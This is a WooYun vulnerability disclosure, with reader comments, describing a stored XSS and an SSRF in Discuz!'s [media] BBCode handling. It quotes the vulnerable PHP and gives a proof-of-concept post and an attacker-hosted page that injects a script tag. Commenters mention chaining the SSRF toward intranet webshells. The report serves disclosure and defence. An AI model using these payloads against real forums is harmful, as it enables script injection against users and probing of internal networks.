当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150674

漏洞标题: discuz!有条件存储型xss和ssrf(条件很容易达到)

相关厂商:Discuz!

漏洞作者: Jannock

提交时间:2015-10-30 17:31

修复时间:2016-02-02 17:40

公开时间:2016-02-02 17:40

漏洞类型:XSS跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-30: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2016-02-02: 细节向公众公开

简要描述:

先提交个鸡肋的。。。其实条件很容易达到。

详细说明:

文件
source\function\function_discuzcode.php
function discuzcode 中

if(!defined('IN_MOBILE')) {
if(strpos($msglower, '[/media]') !== FALSE) {
$message = preg_replace("/\[media=([\w,]+)\]\s*([^\[\<\r\n]+?)\s*\[\/media\]/ies", $allowmediacode ? "parsemedia('\\1', '\\2')" : "bbcodeurl('\\2', '<a href=\"{url}\" target=\"_blank\">{url}</a>')", $message);
}


跟踪 parsemedia

function parsemedia($params, $url) {
$params = explode(',', $params);
$width = intval($params[1]) > 800 ? 800 : intval($params[1]);
$height = intval($params[2]) > 600 ? 600 : intval($params[2]);
$url = addslashes($url);
if(!in_array(strtolower(substr($url, 0, 6)), array('http:/', 'https:', 'ftp://', 'rtsp:/', 'mms://')) && !preg_match('/^static\//', $url) && !preg_match('/^data\//', $url)) {
return dhtmlspecialchars($url);
}
if($flv = parseflv($url, $width, $height)) {
return $flv;
}


跟踪 parseflv

function parseflv($url, $width = 0, $height = 0) {
$lowerurl = strtolower($url);
$flv = $iframe = $imgurl = '';
if($lowerurl != str_replace(array('player.youku.com/player.php/sid/','tudou.com/v/','player.ku6.com/refer/'), '', $lowerurl)) {
$flv = $url;
} elseif(strpos($lowerurl, 'v.youku.com/v_show/') !== FALSE) {
$ctx = stream_context_create(array('http' => array('timeout' => 10)));
if(preg_match("/http:\/\/v.youku.com\/v_show\/id_([^\/]+)(.html|)/i", $url, $matches)) {
$flv = 'http://player.youku.com/player.php/sid/'.$matches[1].'/v.swf';
$iframe = 'http://player.youku.com/embed/'.$matches[1];
if(!$width && !$height) {
$api = 'http://v.youku.com/player/getPlayList/VideoIDS/'.$matches[1];
$str = stripslashes(file_get_contents($api, false, $ctx));
if(!empty($str) && preg_match("/\"logo\":\"(.+?)\"/i", $str, $image)) {
$url = substr($image[1], 0, strrpos($image[1], '/')+1);
$filename = substr($image[1], strrpos($image[1], '/')+2);
$imgurl = $url.'0'.$filename;
}
}
}
} elseif(strpos($lowerurl, 'tudou.com/programs/view/') !== FALSE) {
if(preg_match("/http:\/\/(www.)?tudou.com\/programs\/view\/([^\/]+)/i", $url, $matches)) {
$flv = 'http://www.tudou.com/v/'.$matches[2];
$iframe = 'http://www.tudou.com/programs/view/html5embed.action?code='.$matches[2];
if(!$width && !$height) {
$str = file_get_contents($url, false, $ctx);
if(!empty($str) && preg_match("/<span class=\"s_pic\">(.+?)<\/span>/i", $str, $image)) {
$imgurl = trim($image[1]);
}
}
}
} elseif(strpos($lowerurl, 'v.ku6.com/show/') !== FALSE) {
if(preg_match("/http:\/\/v.ku6.com\/show\/([^\/]+).html/i", $url, $matches)) {
$flv = 'http://player.ku6.com/refer/'.$matches[1].'/v.swf';
if(!$width && !$height) {
$api = 'http://vo.ku6.com/fetchVideo4Player/1/'.$matches[1].'.html';
$str = file_get_contents($api, false, $ctx);
if(!empty($str) && preg_match("/\"picpath\":\"(.+?)\"/i", $str, $image)) {
$imgurl = str_replace(array('\u003a', '\u002e'), array(':', '.'), $image[1]);
}
}
}
} elseif(strpos($lowerurl, 'v.ku6.com/special/show_') !== FALSE) {
if(preg_match("/http:\/\/v.ku6.com\/special\/show_\d+\/([^\/]+).html/i", $url, $matches)) {
$flv = 'http://player.ku6.com/refer/'.$matches[1].'/v.swf';
if(!$width && !$height) {
$api = 'http://vo.ku6.com/fetchVideo4Player/1/'.$matches[1].'.html';
$str = file_get_contents($api, false, $ctx);
if(!empty($str) && preg_match("/\"picpath\":\"(.+?)\"/i", $str, $image)) {
$imgurl = str_replace(array('\u003a', '\u002e'), array(':', '.'), $image[1]);
}
}
}
} elseif(strpos($lowerurl, 'www.youtube.com/watch?') !== FALSE) {
if(preg_match("/http:\/\/www.youtube.com\/watch\?v=([^\/&]+)&?/i", $url, $matches)) {
$flv = 'http://www.youtube.com/v/'.$matches[1].'&hl=zh_CN&fs=1';
$iframe = 'http://www.youtube.com/embed/'.$matches[1];
if(!$width && !$height) {
$str = file_get_contents($url, false, $ctx);
if(!empty($str) && preg_match("/'VIDEO_HQ_THUMB':\s'(.+?)'/i", $str, $image)) {
$url = substr($image[1], 0, strrpos($image[1], '/')+1);
$filename = substr($image[1], strrpos($image[1], '/')+3);
$imgurl = $url.$filename;
}
}
}
} elseif(strpos($lowerurl, 'tv.mofile.com/') !== FALSE) {
if(preg_match("/http:\/\/tv.mofile.com\/([^\/]+)/i", $url, $matches)) {
$flv = 'http://tv.mofile.com/cn/xplayer.swf?v='.$matches[1];
if(!$width && !$height) {
$str = file_get_contents($url, false, $ctx);
if(!empty($str) && preg_match("/thumbpath=\"(.+?)\";/i", $str, $image)) {
$imgurl = trim($image[1]);
}
}
}
} elseif(strpos($lowerurl, 'v.mofile.com/show/') !== FALSE) {
if(preg_match("/http:\/\/v.mofile.com\/show\/([^\/]+).shtml/i", $url, $matches)) {
$flv = 'http://tv.mofile.com/cn/xplayer.swf?v='.$matches[1];
if(!$width && !$height) {
$str = file_get_contents($url, false, $ctx);
if(!empty($str) && preg_match("/thumbpath=\"(.+?)\";/i", $str, $image)) {
$imgurl = trim($image[1]);
}
}
}
} elseif(strpos($lowerurl, 'video.sina.com.cn/v/b/') !== FALSE) {
if(preg_match("/http:\/\/video.sina.com.cn\/v\/b\/(\d+)-(\d+).html/i", $url, $matches)) {
$flv = 'http://vhead.blog.sina.com.cn/player/outer_player.swf?vid='.$matches[1];
if(!$width && !$height) {
$api = 'http://interface.video.sina.com.cn/interface/common/getVideoImage.php?vid='.$matches[1];
$str = file_get_contents($api, false, $ctx);
if(!empty($str)) {
$imgurl = str_replace('imgurl=', '', trim($str));
}
}
}
} elseif(strpos($lowerurl, 'you.video.sina.com.cn/b/') !== FALSE) {
if(preg_match("/http:\/\/you.video.sina.com.cn\/b\/(\d+)-(\d+).html/i", $url, $matches)) {
$flv = 'http://vhead.blog.sina.com.cn/player/outer_player.swf?vid='.$matches[1];
if(!$width && !$height) {
$api = 'http://interface.video.sina.com.cn/interface/common/getVideoImage.php?vid='.$matches[1];
$str = file_get_contents($api, false, $ctx);
if(!empty($str)) {
$imgurl = str_replace('imgurl=', '', trim($str));
}
}
}
} elseif(strpos($lowerurl, 'http://my.tv.sohu.com/u/') !== FALSE) {
if(preg_match("/http:\/\/my.tv.sohu.com\/u\/[^\/]+\/(\d+)/i", $url, $matches)) {
$flv = 'http://v.blog.sohu.com/fo/v4/'.$matches[1];
if(!$width && !$height) {
$api = 'http://v.blog.sohu.com/videinfo.jhtml?m=view&id='.$matches[1].'&outType=3';
$str = file_get_contents($api, false, $ctx);
if(!empty($str) && preg_match("/\"cutCoverURL\":\"(.+?)\"/i", $str, $image)) {
$imgurl = str_replace(array('\u003a', '\u002e'), array(':', '.'), $image[1]);
}
}
}
} elseif(strpos($lowerurl, 'http://v.blog.sohu.com/u/') !== FALSE) {
if(preg_match("/http:\/\/v.blog.sohu.com\/u\/[^\/]+\/(\d+)/i", $url, $matches)) {
$flv = 'http://v.blog.sohu.com/fo/v4/'.$matches[1];
if(!$width && !$height) {
$api = 'http://v.blog.sohu.com/videinfo.jhtml?m=view&id='.$matches[1].'&outType=3';
$str = file_get_contents($api, false, $ctx);
if(!empty($str) && preg_match("/\"cutCoverURL\":\"(.+?)\"/i", $str, $image)) {
$imgurl = str_replace(array('\u003a', '\u002e'), array(':', '.'), $image[1]);
}
}
}
} elseif(strpos($lowerurl, 'http://www.ouou.com/fun_funview') !== FALSE) {
$str = file_get_contents($url, false, $ctx);
if(!empty($str) && preg_match("/var\sflv\s=\s'(.+?)';/i", $str, $matches)) {
$flv = $_G['style']['imgdir'].'/flvplayer.swf?&autostart=true&file='.urlencode($matches[1]);
if(!$width && !$height && preg_match("/var\simga=\s'(.+?)';/i", $str, $image)) {
$imgurl = trim($image[1]);
}
}
} elseif(strpos($lowerurl, 'http://www.56.com') !== FALSE) {
if(preg_match("/http:\/\/www.56.com\/\S+\/play_album-aid-(\d+)_vid-(.+?).html/i", $url, $matches)) {
$flv = 'http://player.56.com/v_'.$matches[2].'.swf';
$matches[1] = $matches[2];
} elseif(preg_match("/http:\/\/www.56.com\/\S+\/([^\/]+).html/i", $url, $matches)) {
$flv = 'http://player.56.com/'.$matches[1].'.swf';
}
if(!$width && !$height && !empty($matches[1])) {
$api = 'http://vxml.56.com/json/'.str_replace('v_', '', $matches[1]).'/?src=out';
$str = file_get_contents($api, false, $ctx);
if(!empty($str) && preg_match("/\"img\":\"(.+?)\"/i", $str, $image)) {
$imgurl = trim($image[1]);
}
}
}
if($flv) {
if(!$width && !$height) {
return array('flv' => $flv, 'imgurl' => $imgurl);
} else {
$width = addslashes($width);
$height = addslashes($height);
$flv = addslashes($flv);
$iframe = addslashes($iframe);
$randomid = 'flv_'.random(3);
$enablemobile = $iframe ? 'mobileplayer() ? "<iframe height=\''.$height.'\' width=\''.$width.'\' src=\''.$iframe.'\' frameborder=0 allowfullscreen></iframe>" : ' : '';
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=('.$enablemobile.'AC_FL_RunContent(\'width\', \''.$width.'\', \'height\', \''.$height.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.$flv.'\', \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\'));</script>';
}
} else {
return FALSE;
}
}


可以看出多处使用 file_get_contents
url可控,从而存在ssrf
并且结果可以,返回 imgurl=
用于
source\function\function_followcode.php

function fmakeflv($flv) {
$randomid = 'video_'.random(3);
$flv = is_array($flv) ? $flv : array('flv' => $flv);
if(!empty($flv['imgurl'])) {
$html = '<table class="mtm" title="'.lang('space', 'follow_click_play').'" onclick="javascript:showFlash(\'flash\', \''.$flv['flv'].'\', this, \''.$randomid.'\');"><tr><td class="vdtn hm" style="background: url('.$flv['imgurl'].') no-repeat; border: 1px solid #CDCDCD; cursor: pointer; height: 95px; width: 126px;"><img src="'.IMGDIR.'/vds.png" alt="'.lang('space', 'follow_click_play').'" /> </td></tr></table>';
} else {
$html = '<img src="'.IMGDIR.'/vd.gif" alt="'.lang('space', 'follow_click_play').'" onclick="javascript:showFlash(\'flash\', \''.$flv['flv'].'\', this, \''.$randomid.'\');" class="tn" style="cursor: pointer;" />';
}
return fcodedisp($html, 'video');
}


限制:
xss需要后台开启广播功能。
ssrf需要 允许使用 [audio] [media] [flash] 等多媒体代码
旧版本好像默认开启,新版默认关闭,不过后来开启的较多。

漏洞证明:

发贴(注:需工具提交,不然http://tudou.com 被转为[url]http://tudou.com )

[media=0,0]http://127.0.0.1:8080/s.php?http://tudou.com/programs/view/aaaa[/media]


http://127.0.0.1:8080/s.php
内容为:

<span class="s_pic">http://www.hao123.com/logo.gif');">aa</a><script>alert('a');</script><a a="</span>


1.png


3.png


<div class="flw_video"><ul><li><table class="mtm" title="点击播放" onclick="javascript:showFlash('flash', 'http://www.tudou.com/v/aaaa', this, 'video_vGq');"><tr><td class="vdtn hm" style="background: url(http://www.hao123.com/logo.gif');">aa</a><script>alert('a');</script><a a=") no-repeat; border: 1px solid #CDCDCD; cursor: pointer; height: 95px; width: 126px;"><img src="static/image/common/vds.png" alt="点击播放" /> </td></tr></table>


ssrf 可能shell内网
WooYun: 百度某个从SSRF到内网WebShell之2

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-02-02 17:40

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价

  1. 2015-10-30 17:32 | 凌零1 ( 普通白帽子 | Rank:196 漏洞数:41 )

    膜拜:-D

  2. 2015-10-30 17:32 | 不能忍 ( 实习白帽子 | Rank:80 漏洞数:41 | 要是能重来,我要选李白!)

    火钳刘明

  3. 2015-10-30 17:32 | 鬼见愁 ( 路人 | Rank:10 漏洞数:1 | 挖洞之神)

    你要什么条件,没车没房行不?

  4. 2015-10-30 17:35 | 撸大叔 ( 实习白帽子 | Rank:62 漏洞数:11 | 钓鱼培养耐心 养鱼需要精心!)

    先提交个鸡肋 这个“先”字 预感后面还有戏

  5. 2015-10-30 17:37 | sqlfeng ( 普通白帽子 | Rank:343 漏洞数:52 | http://weibo.com/fds1986)

  6. 2015-10-30 17:48 | Seven.Sea ( 普通白帽子 | Rank:118 漏洞数:28 | 唯有安全与美食不可辜负。)

    关注闪电~=.=

  7. 2015-10-30 17:48 | px1624 ( 普通白帽子 | Rank:1072 漏洞数:181 | px1624)

    XSS 闪电了,必有惊喜!

  8. 2015-10-30 17:50 | 1937nick ( 普通白帽子 | Rank:123 漏洞数:40 | 水能载舟,亦能煮粥。物尽其用,人尽其能。)

    围观

  9. 2015-10-30 17:52 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)

    没车没房行不?

  10. 2015-10-30 17:55 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2954 漏洞数:584 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    预感不简单

  11. 2015-10-30 17:56 | DNS ( 普通白帽子 | Rank:696 漏洞数:73 | root@qisec.com)

    先提交个鸡肋的。。。。。意思还有咯

  12. 2015-10-30 17:57 | luwikes ( 普通白帽子 | Rank:532 漏洞数:79 | 潜心学习~~~)

    先打个卡

  13. 2015-10-30 18:06 | Mieless ( 实习白帽子 | Rank:35 漏洞数:10 | 我是来打酱油的。)

    先提交个鸡肋的。。。

  14. 2015-10-30 18:08 | 岛云首席鉴黄师 ( 普通白帽子 | Rank:430 漏洞数:123 | icisaw.cn 超低价虚拟主机VPS 购买返现 支...)

    鸡肋的就打雷了……坐等不鸡肋的 黑产牛高兴了

  15. 2015-10-30 18:32 | Mark0smith ( 普通白帽子 | Rank:105 漏洞数:41 )

    wow

  16. 2015-10-30 18:43 | 刘海哥 ( 普通白帽子 | Rank:115 漏洞数:29 | 索要联系方式但不送礼物的厂商定义为无良厂...)

    666

  17. 2015-10-30 18:51 | gu, ( 实习白帽子 | Rank:47 漏洞数:18 )

    膜拜一哥来了

  18. 2015-10-30 18:52 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    先看一看

  19. 2015-10-30 18:52 | 举起手来 ( 核心白帽子 | Rank:1114 漏洞数:112 | 准备好,举起手来!)

    先提交个鸡肋的。。。其实条件很容易达到。看来还有第二发?

  20. 2015-10-30 18:57 | 从容 ( 普通白帽子 | Rank:237 漏洞数:78 | Enjoy Hacking Just Because It's Fun :) ...)

    看来有不鸡肋的

  21. 2015-10-30 18:58 | 随风的风 ( 普通白帽子 | Rank:201 漏洞数:67 | 微信公众号:233sec 不定期分享各种漏洞思...)

    先提交个鸡肋的。。。。。意思还有咯

  22. 2015-10-30 19:01 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:322 | 国内信息安全任重而道远,还需要厂商和白帽...)

    XSS 闪电了,必有惊喜!

  23. 2015-10-30 19:05 | f4ckbaidu ( 普通白帽子 | Rank:223 漏洞数:28 | 开发真是日了狗了)

    神速给钱

  24. 2015-10-30 19:23 | kav ( 路人 | Rank:16 漏洞数:8 )

    我的大一哥,又来闪电了

  25. 2015-10-30 19:32 | onpu ( 普通白帽子 | Rank:167 漏洞数:37 | 勿忘初心)

    坐等第二发

  26. 2015-10-30 19:40 | 陆由乙 ( 普通白帽子 | Rank:353 漏洞数:90 | 呵呵!)

    一哥

  27. 2015-10-30 19:59 | 泪雨无魂 ( 普通白帽子 | Rank:211 漏洞数:55 )

    一哥牛逼

  28. 2015-10-30 20:39 | 二愣子 ( 普通白帽子 | Rank:177 漏洞数:38 | 毛毛你是个好姑娘)

    “先”字亮了!!!~~~~还有戏?

  29. 2015-10-30 21:07 | 明月影 ( 路人 | Rank:12 漏洞数:8 )

    很明显来迟了……

  30. 2015-10-30 21:50 | 小杨 ( 路人 | Rank:22 漏洞数:4 | 。)

    火钳留名

  31. 2015-10-30 22:03 | 在路上 ( 普通白帽子 | Rank:193 漏洞数:13 | 在学习的路上、在成长的路上...)

  32. 2015-10-30 22:15 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2389 漏洞数:211 | 关注技术与网络安全(招人中,有兴趣请私信...)

    说漏了一点,这还能找到真实ip,这对于大站还是很有用的!

  33. 2015-10-30 23:53 | scanf ( 核心白帽子 | Rank:1361 漏洞数:195 | 。)

    期待后续

  34. 2015-10-31 08:24 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    围观一哥

  35. 2015-10-31 09:38 | 苦咖啡 ( 实习白帽子 | Rank:59 漏洞数:11 | 我就一菜逼,来看大牛装逼的)

    围观 好屌

  36. 2015-10-31 10:01 | xsser_w ( 普通白帽子 | Rank:116 漏洞数:34 | 哎)

    公开时间: 2016-01-28 17:31

  37. 2015-10-31 10:34 | 大师兄 ( 路人 | Rank:29 漏洞数:7 | 每日必关注乌云)

    先提交个鸡肋的。。。其实条件很容易达到。准备发第二弹。

  38. 2015-11-01 17:06 | Sai、 ( 路人 | Rank:8 漏洞数:2 | for fun……)

    为什么我发现每次猪猪侠开始刷洞,一哥也跟着开始了?这其中难道有什么隐情

  39. 2015-11-01 20:17 | 大亮 ( 普通白帽子 | Rank:333 漏洞数:67 | 慢慢挖洞)

    后面肯定还有洞。

  40. 2015-11-05 09:55 | f4ckbaidu ( 普通白帽子 | Rank:223 漏洞数:28 | 开发真是日了狗了)

    猥琐的SSRF+struts2 getshell

  41. 2015-11-06 10:35 | Ourgame简单 ( 实习白帽子 | Rank:57 漏洞数:14 | 来打酱油.)

    先来关注下。下次再看就是公开了

  42. 2015-11-06 11:39 | 山顶洞考拉 ( 路人 | Rank:2 漏洞数:1 | 小事心态)

    前排占座

  43. 2015-11-06 18:43 | 小哲哥 ( 路人 | Rank:15 漏洞数:9 | 长得丑有什么好简介的)

    先留个名字

  44. 2015-11-11 14:16 | 第四维度 ( 实习白帽子 | Rank:81 漏洞数:42 | 本人学识渊博,经验丰富,代码风骚,效率恐...)

    忽略了........